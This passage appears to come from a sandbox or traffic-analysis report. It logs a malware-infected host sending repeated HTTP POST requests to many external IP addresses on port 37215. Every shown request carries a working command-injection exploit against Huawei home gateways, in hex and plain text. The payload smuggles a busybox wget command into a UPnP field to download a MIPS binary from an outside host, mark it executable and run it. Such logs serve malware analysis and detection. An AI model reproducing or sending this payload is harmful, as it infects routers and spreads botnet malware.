76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	37376	156.15.16.186	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.001255035 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	54402	41.63.241.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.002136946 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	34412	156.156.74.74	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.002985001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	33756	197.244.78.206	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.003802061 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	53414	156.38.108.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.004662037 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	53026	197.57.68.100	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.005516052 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	45572	197.67.118.32	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.006376982 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	53538	41.236.7.25	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.007220030 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	39324	156.211.48.76	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.008064032 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	36608	41.223.243.35	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.008956909 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	32966	41.45.237.96	37215

Timestamp	Bytes transferred	Direction	Data
